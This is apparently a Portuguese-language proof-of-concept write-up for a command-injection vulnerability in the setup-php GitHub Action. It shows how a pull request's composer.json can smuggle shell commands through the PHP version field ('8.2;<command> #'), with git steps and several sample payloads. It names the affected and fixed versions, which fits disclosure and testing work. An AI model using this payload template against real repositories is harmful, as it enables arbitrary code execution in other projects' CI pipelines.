
PoC para CVE-2026-46420, injeção de comando no shivammathur/setup-php via resolução de versão PHP controlada por repositório.
Injeção de comando no shivammathur/setup-php quando a versão do PHP é carregada a partir de arquivos controlados pelo repositório.
Afetado:
>= 2.25.0, < 2.37.1
Corrigido:
>= 2.37.1
O repositório alvo já possui um workflow vulnerável que faz checkout do conteúdo do pull request e executa [email protected].
O atacante apenas altera o composer.json.
-"php": "8.2"
+"php": [
+ "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]
Quando o setup-php lê a versão do PHP a partir do composer.json, o comando injetado é incluído no script shell gerado e executado.
Resultado:
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc
Crie um branch a partir do repositório alvo:
git checkout -b poc-test
Substitua o composer.json limpo pela versão do PoC:
cp attacker/composer.json composer.json
Commit e push:
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test
Abra um pull request de poc-test para main.
A execução do Actions deve mostrar que demo-app/.env.example foi modificado durante a etapa setup-php.
O formato do payload é:
8.2;<COMANDO> #
Payload atual:
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #
O comando executado é:
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example
Para alterar o que o PoC faz, substitua o comando entre 8.2; e #.
Criar um arquivo:
8.2;touch poc-executed #
Escrever em um arquivo:
8.2;printf 'poc executed\n' > poc-result.txt #
Exibir saída do comando:
8.2;id #
Exemplo de composer.json:
{
"config": {
"platform": {
"php": [
"8.2;touch poc-executed #"
]
}
}
}
Atualize para [email protected] ou mais recente.
O mesmo payload é rejeitado na versão corrigida.